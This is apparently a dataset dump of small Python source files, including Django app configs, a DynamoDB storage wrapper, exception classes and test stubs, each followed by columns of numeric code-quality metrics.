# # Try ... | 28.521277 | 77 | 0.559866 | 280 | 2,681 | 5.178571 | 0.25 | 0.136552 | 0.070345 | 0.072414 | 0.571724 | 0.513103 | 0.458621 | 0.458621 | 0.384828 | 0.384828 | 0 | 0.011564 | 0.322641 | 2,681 | 93 | 78 | 28.827957 | 0.786894 | 0.873182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010753 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
d707c75faeec314e54436129f8ee40553109f87a | 70 | py | Python | tests/__init__.py | nnnsyyy/tf_test | 70257a84d1a2f6fdace41685c477d3138337db91 | [
"MIT"
] | null | null | null | tests/__init__.py | nnnsyyy/tf_test | 70257a84d1a2f6fdace41685c477d3138337db91 | [
"MIT"
] | null | null | null | tests/__init__.py | nnnsyyy/tf_test | 70257a84d1a2f6fdace41685c477d3138337db91 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Unit test package for tensorflow_test."""
| 17.5 | 44 | 0.614286 | 9 | 70 | 4.666667 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016949 | 0.157143 | 70 | 3 | 45 | 23.333333 | 0.694915 | 0.871429 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
d776de4891b581d450583275c6d23e42c04cd539 | 133 | py | Python | hero/apps.py | BrunoASNascimento/Test-Company-Hero | cecbc2f3ae8879971540cc4147d7a3a633d58b32 | [
"MIT"
] | null | null | null | hero/apps.py | BrunoASNascimento/Test-Company-Hero | cecbc2f3ae8879971540cc4147d7a3a633d58b32 | [
"MIT"
] | null | null | null | hero/apps.py | BrunoASNascimento/Test-Company-Hero | cecbc2f3ae8879971540cc4147d7a3a633d58b32 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
def create_app():
class HeroConfig(AppConfig):
name = 'hero'
my_app = create_app()
| 13.3 | 33 | 0.676692 | 17 | 133 | 5.117647 | 0.764706 | 0.206897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225564 | 133 | 9 | 34 | 14.777778 | 0.84466 | 0 | 0 | 0 | 0 | 0 | 0.030075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
d78091f0784c1f6c6601c2b2011488d42fdc6d95 | 1,139 | py | Python | storage/dynamo/dynamo_type.py | DS3Lab/LambdaML | 0afca7819e08632ba116fec8e102084e4040a47a | [
"Apache-2.0"
] | 23 | 2021-05-17T09:24:24.000Z | 2022-01-29T18:40:44.000Z | storage/dynamo/dynamo_type.py | DS3Lab/LambdaML | 0afca7819e08632ba116fec8e102084e4040a47a | [
"Apache-2.0"
] | 2 | 2021-05-17T16:15:12.000Z | 2021-07-20T09:11:22.000Z | storage/dynamo/dynamo_type.py | DS3Lab/LambdaML | 0afca7819e08632ba116fec8e102084e4040a47a | [
"Apache-2.0"
] | 3 | 2021-05-17T09:31:53.000Z | 2021-12-02T16:29:59.000Z | from storage.dynamo import dynamo_operator
from storage.base import BaseStorage
class DynamoTable(BaseStorage):
def __init__(self, _client, _table_name):
super(DynamoTable, self).__init__()
self.client = _client
self.table = dynamo_operator.get_table(self.client, _table_name)
def sav... | 35.59375 | 95 | 0.694469 | 162 | 1,139 | 4.561728 | 0.259259 | 0.08931 | 0.189445 | 0.121786 | 0.300406 | 0.200271 | 0 | 0 | 0 | 0 | 0 | 0.004362 | 0.194908 | 1,139 | 31 | 96 | 36.741935 | 0.801527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.318182 | false | 0 | 0.090909 | 0.227273 | 0.772727 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
ad1cdd267ba2a761b9a4153db3b854e548e6c7f1 | 93 | py | Python | crunchyroll_beta/errors.py | stefanodvx/crunchyroll | 331bd38269114bf4c2114f86fe93fc5533d3ccee | [
"MIT"
] | 19 | 2021-11-16T18:59:53.000Z | 2022-03-30T06:38:13.000Z | crunchyroll_beta/errors.py | stefanodvx/crunchyroll | 331bd38269114bf4c2114f86fe93fc5533d3ccee | [
"MIT"
] | 3 | 2021-12-06T07:51:10.000Z | 2022-03-30T06:06:18.000Z | crunchyroll_beta/errors.py | stefanodvx/crunchyroll | 331bd38269114bf4c2114f86fe93fc5533d3ccee | [
"MIT"
] | 4 | 2021-11-18T13:25:03.000Z | 2021-12-20T19:16:38.000Z | class CrunchyrollError(Exception):
pass
class LoginError(CrunchyrollError):
pass | 18.6 | 36 | 0.741935 | 8 | 93 | 8.625 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193548 | 93 | 5 | 37 | 18.6 | 0.92 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
ad310dee3694eb429e87b3647dcc25b647cfe9a1 | 131 | py | Python | challenging/hypernews/news/apps.py | epmancini/JetBrains-Academy-Python | 466ee9ad6b07285c75e4ab740bcc8b5975f28e56 | [
"MIT"
] | null | null | null | challenging/hypernews/news/apps.py | epmancini/JetBrains-Academy-Python | 466ee9ad6b07285c75e4ab740bcc8b5975f28e56 | [
"MIT"
] | null | null | null | challenging/hypernews/news/apps.py | epmancini/JetBrains-Academy-Python | 466ee9ad6b07285c75e4ab740bcc8b5975f28e56 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
# Configuration class for the news application.
class NewsConfig(AppConfig):
name = 'news'
| 18.714286 | 47 | 0.763359 | 16 | 131 | 6.25 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167939 | 131 | 6 | 48 | 21.833333 | 0.917431 | 0.343511 | 0 | 0 | 0 | 0 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
ad4c4b95ca42611539dd77fa39f0edfa7c34aae4 | 980 | py | Python | familysearch/utilities.py | AmEv7Fam/familysearch-python-sdk-opensource | 121b4892000e7fe25b15b88357fc643115434107 | [
"BSD-2-Clause"
] | 24 | 2016-04-11T01:17:58.000Z | 2022-02-08T16:05:32.000Z | familysearch/utilities.py | AmEv7Fam/familysearch-python-sdk-opensource | 121b4892000e7fe25b15b88357fc643115434107 | [
"BSD-2-Clause"
] | 4 | 2018-03-10T22:47:03.000Z | 2020-08-10T18:38:18.000Z | familysearch/utilities.py | AmEv7Fam/familysearch-python-sdk-opensource | 121b4892000e7fe25b15b88357fc643115434107 | [
"BSD-2-Clause"
] | 12 | 2016-04-11T01:18:07.000Z | 2020-11-09T02:19:25.000Z | """FamilySearch Utilities submodule"""
# Python imports
# Magic
class Utilities:
"""https://familysearch.org/developers/docs/api/resources#utilities"""
def __init__(self):
"""https://familysearch.org/developers/docs/api/examples#utilities"""
pass
def pending_modifications(self)... | 39.2 | 95 | 0.646939 | 99 | 980 | 6.242424 | 0.393939 | 0.13754 | 0.161812 | 0.242718 | 0.512945 | 0.512945 | 0.453074 | 0.307443 | 0.15534 | 0 | 0 | 0.00128 | 0.203061 | 980 | 25 | 96 | 39.2 | 0.790013 | 0.411224 | 0 | 0.166667 | 0 | 0 | 0.159004 | 0.04023 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.083333 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
ad9d04f7964d8916257a7fd0137c30f565be9470 | 146 | py | Python | dentaltreatment/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 16 | 2016-08-17T21:39:10.000Z | 2021-11-24T12:14:28.000Z | dentaltreatment/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 55 | 2017-04-23T18:12:04.000Z | 2021-08-08T08:25:18.000Z | dentaltreatment/apps.py | DaleProctor/tscharts | 5447395e0aef0b949bef8426febdec2093cf37ef | [
"Apache-2.0"
] | 8 | 2017-08-11T02:11:46.000Z | 2021-07-06T22:58:42.000Z | from __future__ import unicode_literals
from django.apps import AppConfig
class DentalTreatmentConfig(AppConfig):
name = 'dentaltreatment'
| 18.25 | 39 | 0.815068 | 15 | 146 | 7.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136986 | 146 | 7 | 40 | 20.857143 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0.10274 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
a8e43389e294b58a8489588f1ff343fa3a06ea7a | 94 | py | Python | tests/test_user.py | Gogen120/helpscout | 7e884247f5cd59c75b12792e331b25e9873a4207 | [
"MIT"
] | null | null | null | tests/test_user.py | Gogen120/helpscout | 7e884247f5cd59c75b12792e331b25e9873a4207 | [
"MIT"
] | null | null | null | tests/test_user.py | Gogen120/helpscout | 7e884247f5cd59c75b12792e331b25e9873a4207 | [
"MIT"
] | null | null | null | def test_list_users(test_client):
response = test_client.user.list()
assert response
| 18.8 | 38 | 0.744681 | 13 | 94 | 5.076923 | 0.615385 | 0.30303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170213 | 94 | 4 | 39 | 23.5 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a8ed00c99af8d02520a1256bdcf36f037d6fe436 | 307 | py | Python | site-root/.config/init.py | TED-996/krait-twostones | 51b27793b9cd536d680fb9a6785c57473d35cac1 | [
"MIT"
] | null | null | null | site-root/.config/init.py | TED-996/krait-twostones | 51b27793b9cd536d680fb9a6785c57473d35cac1 | [
"MIT"
] | null | null | null | site-root/.config/init.py | TED-996/krait-twostones | 51b27793b9cd536d680fb9a6785c57473d35cac1 | [
"MIT"
] | null | null | null | import krait
import mvc
import sys
from db_access import db_ops
import json
import urllib
from misc import debug_config
import subprocess
import os
db_ops.read_store_password()
subprocess.Popen(
["python", os.path.normpath(os.path.join(krait.site_root, "..", "matchmaker", "matchmaker_client.py"))])
| 19.1875 | 108 | 0.778502 | 46 | 307 | 5.021739 | 0.608696 | 0.04329 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117264 | 307 | 15 | 109 | 20.466667 | 0.852399 | 0 | 0 | 0 | 0 | 0 | 0.123779 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.083333 | 0.75 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
d110cd1d1f4fad8288bf62f2eb0f63037e91ccb6 | 178 | py | Python | socials/apps.py | benzkji/django-socials | a032238171e5e2cf7af543cc6b5eed0d6a1956f8 | [
"MIT"
] | null | null | null | socials/apps.py | benzkji/django-socials | a032238171e5e2cf7af543cc6b5eed0d6a1956f8 | [
"MIT"
] | 6 | 2020-10-20T15:47:26.000Z | 2021-06-22T11:19:39.000Z | socials/apps.py | benzkji/django-socials | a032238171e5e2cf7af543cc6b5eed0d6a1956f8 | [
"MIT"
] | 1 | 2020-10-20T06:53:13.000Z | 2020-10-20T06:53:13.000Z | from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class SocialsConfig(AppConfig):
name = 'socials'
verbose_name = _('Socials')
| 19.777778 | 55 | 0.758427 | 21 | 178 | 6.238095 | 0.714286 | 0.152672 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162921 | 178 | 8 | 56 | 22.25 | 0.879195 | 0 | 0 | 0 | 0 | 0 | 0.078652 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
d12f8b52a2d8a5b2a758af304e5721618b5d4cfd | 116 | py | Python | python/src/models/paymentMethod.py | Rapyd-Samples/accept-payments | 74f3f22e2238642d047120139b1e6212c617a533 | [
"MIT"
] | 1 | 2022-03-22T10:20:18.000Z | 2022-03-22T10:20:18.000Z | python/src/models/paymentMethod.py | Rapyd-Samples/accept-payments | 74f3f22e2238642d047120139b1e6212c617a533 | [
"MIT"
] | null | null | null | python/src/models/paymentMethod.py | Rapyd-Samples/accept-payments | 74f3f22e2238642d047120139b1e6212c617a533 | [
"MIT"
] | null | null | null | from pydantic import BaseModel
class CustomerPaymentMethod(BaseModel):
id: str
type: str
name: str
| 11.6 | 39 | 0.698276 | 13 | 116 | 6.230769 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 116 | 9 | 40 | 12.888889 | 0.931034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
d14090f12a7d5154df5da82c66d69d31c114c22f | 98 | py | Python | tests/__init__.py | abn/python-gnmi-proto | 39a2262625af4c81f857cae767df13baab71d374 | [
"Apache-2.0"
] | 4 | 2021-02-05T21:49:01.000Z | 2022-01-10T08:01:19.000Z | tests/__init__.py | abn/python-gnmi-proto | 39a2262625af4c81f857cae767df13baab71d374 | [
"Apache-2.0"
] | 3 | 2021-02-02T00:38:02.000Z | 2021-05-25T22:33:41.000Z | tests/__init__.py | abn/python-gnmi-proto | 39a2262625af4c81f857cae767df13baab71d374 | [
"Apache-2.0"
] | 4 | 2020-07-23T12:25:32.000Z | 2021-05-25T22:20:11.000Z | from pathlib import Path
TESTS_DIR = Path(__file__).parent
FIXTURES_DIR = TESTS_DIR / "fixtures"
| 19.6 | 37 | 0.785714 | 14 | 98 | 5 | 0.642857 | 0.228571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132653 | 98 | 4 | 38 | 24.5 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
d1433bff7ffa09ad46d4a46e8c28bc2b170ef072 | 252 | py | Python | code/face-detection/layers/modules/__init__.py | FRH-Code-Data/Appendix | 106a7c65c178d2b446e3bd8fb192ac2f4b7e323f | [
"CC-BY-4.0"
] | 5 | 2020-02-28T09:28:55.000Z | 2021-06-03T02:15:42.000Z | code/face-detection/layers/modules/__init__.py | FRH-Code-Data/Appendix | 106a7c65c178d2b446e3bd8fb192ac2f4b7e323f | [
"CC-BY-4.0"
] | 6 | 2020-03-08T22:58:13.000Z | 2022-03-12T00:15:14.000Z | code/face-detection/layers/modules/__init__.py | FRH-Code-Data/Appendix | 106a7c65c178d2b446e3bd8fb192ac2f4b7e323f | [
"CC-BY-4.0"
] | 3 | 2020-02-28T09:29:03.000Z | 2020-03-09T05:08:07.000Z | #-*- coding:utf-8 -*-
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from .l2norm import L2Norm
from .multibox_loss import MultiBoxLoss
__all__ = ['L2Norm', 'MultiBoxLoss']
| 19.384615 | 40 | 0.75 | 29 | 252 | 5.862069 | 0.517241 | 0.176471 | 0.282353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019231 | 0.174603 | 252 | 12 | 41 | 21 | 0.798077 | 0.079365 | 0 | 0 | 0 | 0 | 0.082569 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.833333 | 0 | 0.833333 | 0.166667 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
d15dc9aa8327aa1db2b9587e97ff195d92fa2cf7 | 217 | py | Python | components/RFID_in_C/rdm6300/files/pyrfid/__init__.py | minhan74/MIS-Locker | ab7e90000d566e818b4f44bd27165ed45a8f653f | [
"Apache-2.0",
"MIT"
] | 2 | 2020-07-29T13:38:54.000Z | 2021-07-24T13:54:48.000Z | components/RFID_in_C/rdm6300/files/pyrfid/__init__.py | minhan74/MIS-Locker | ab7e90000d566e818b4f44bd27165ed45a8f653f | [
"Apache-2.0",
"MIT"
] | 4 | 2020-02-27T09:53:34.000Z | 2020-02-27T09:54:35.000Z | components/RFID_in_C/rdm6300/files/pyrfid/__init__.py | minhan74/MIS-Locker | ab7e90000d566e818b4f44bd27165ed45a8f653f | [
"Apache-2.0",
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
PyRfid
Copyright (C) 2015 Philipp Meisberger <team@pm-codeworks.de>
All rights reserved.
@author: Philipp Meisberger <team@pm-codeworks.de>
"""
__version__ = '1.2'
| 16.692308 | 60 | 0.686636 | 30 | 217 | 4.833333 | 0.8 | 0.234483 | 0.289655 | 0.317241 | 0.468966 | 0.468966 | 0 | 0 | 0 | 0 | 0 | 0.037234 | 0.133641 | 217 | 12 | 61 | 18.083333 | 0.734043 | 0.843318 | 0 | 0 | 0 | 0 | 0.12 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0f1fea1041955f622b7359d59ff39a0ca1dcad21 | 75 | py | Python | racetrax/__main__.py | matthewdeanmartin/racetrax | 83c9442558e10ebe03647220cf32ddeae2ce50b4 | [
"MIT"
] | null | null | null | racetrax/__main__.py | matthewdeanmartin/racetrax | 83c9442558e10ebe03647220cf32ddeae2ce50b4 | [
"MIT"
] | null | null | null | racetrax/__main__.py | matthewdeanmartin/racetrax | 83c9442558e10ebe03647220cf32ddeae2ce50b4 | [
"MIT"
] | null | null | null | # coding=utf-8
"""
Make this module executable with python -m racetrax
"""
| 15 | 51 | 0.706667 | 11 | 75 | 4.818182 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015873 | 0.16 | 75 | 4 | 52 | 18.75 | 0.825397 | 0.866667 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0f2f17caa417a33de4487c961492e44c9242b756 | 221 | py | Python | reactions.py | SamCHogg/GlossyMudcrab | a669bd00a9d61e3da69d4f0e132470c67fcb321f | [
"MIT"
] | null | null | null | reactions.py | SamCHogg/GlossyMudcrab | a669bd00a9d61e3da69d4f0e132470c67fcb321f | [
"MIT"
] | null | null | null | reactions.py | SamCHogg/GlossyMudcrab | a669bd00a9d61e3da69d4f0e132470c67fcb321f | [
"MIT"
] | 1 | 2021-05-06T00:48:03.000Z | 2021-05-06T00:48:03.000Z | import discord
async def remove_reaction(message, user, emoji):
try:
await message.remove_reaction(emoji, user)
except (discord.Forbidden, discord.NotFound):
# Maybe send a message?
pass
| 22.1 | 50 | 0.674208 | 26 | 221 | 5.653846 | 0.692308 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244344 | 221 | 9 | 51 | 24.555556 | 0.88024 | 0.095023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.166667 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
0f369928c9ab0cab133f4a68378ba6e1b7117452 | 110 | py | Python | Shivani/ques 7.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | Shivani/ques 7.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | Shivani/ques 7.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | n=int(input("enter a number\n"))
if n%7==0:
print("Divisible by 7")
else:
print("Not Divisible by 7")
| 18.333333 | 32 | 0.618182 | 21 | 110 | 3.238095 | 0.666667 | 0.323529 | 0.352941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044944 | 0.190909 | 110 | 5 | 33 | 22 | 0.719101 | 0 | 0 | 0 | 0 | 0 | 0.436364 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0f524215f89e006c70bb9fb2706ebc27e4603472 | 688 | py | Python | astroquery/besancon/tests/test_besancon.py | jdnc/astroquery | a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f | [
"BSD-3-Clause"
] | 1 | 2019-12-17T00:43:56.000Z | 2019-12-17T00:43:56.000Z | astroquery/besancon/tests/test_besancon.py | jdnc/astroquery | a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f | [
"BSD-3-Clause"
] | null | null | null | astroquery/besancon/tests/test_besancon.py | jdnc/astroquery | a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f | [
"BSD-3-Clause"
] | null | null | null | # Licensed under a 3-clause BSD style license - see LICENSE.rst
from ... import besancon
#import asciitable
#from astropy.io.ascii.tests.common import assert_equal
# SKIP - don't run tests because Besancon folks don't want them (based on the fact that your@email.net is now rejected)
# def test_besancon_reader():
# ... | 38.222222 | 119 | 0.735465 | 103 | 688 | 4.815534 | 0.592233 | 0.044355 | 0.048387 | 0.129032 | 0.149194 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013514 | 0.139535 | 688 | 17 | 120 | 40.470588 | 0.824324 | 0.918605 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
0f5d5765e92901657d39200bf3f06dfa21a867b4 | 21 | py | Python | data/studio21_generated/introductory/3921/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/3921/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/3921/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | def corrections(x):
| 10.5 | 19 | 0.714286 | 3 | 21 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 21 | 2 | 20 | 10.5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0f89d6c6c5081674279b651fb898311318ff3090 | 200 | py | Python | startifact/exceptions/no_regions_available.py | cariad/startifact | ef0b855ca2061f9e6982ed28c63b3da4c5d1464d | [
"MIT"
] | null | null | null | startifact/exceptions/no_regions_available.py | cariad/startifact | ef0b855ca2061f9e6982ed28c63b3da4c5d1464d | [
"MIT"
] | 15 | 2021-11-09T13:22:57.000Z | 2021-12-17T12:24:27.000Z | startifact/exceptions/no_regions_available.py | cariad/startifact | ef0b855ca2061f9e6982ed28c63b3da4c5d1464d | [
"MIT"
] | null | null | null | from typing import List
class NoRegionsAvailable(Exception):
def __init__(self, regions: List[str]) -> None:
super().__init__(f"None of the configured regions are available: {regions}")
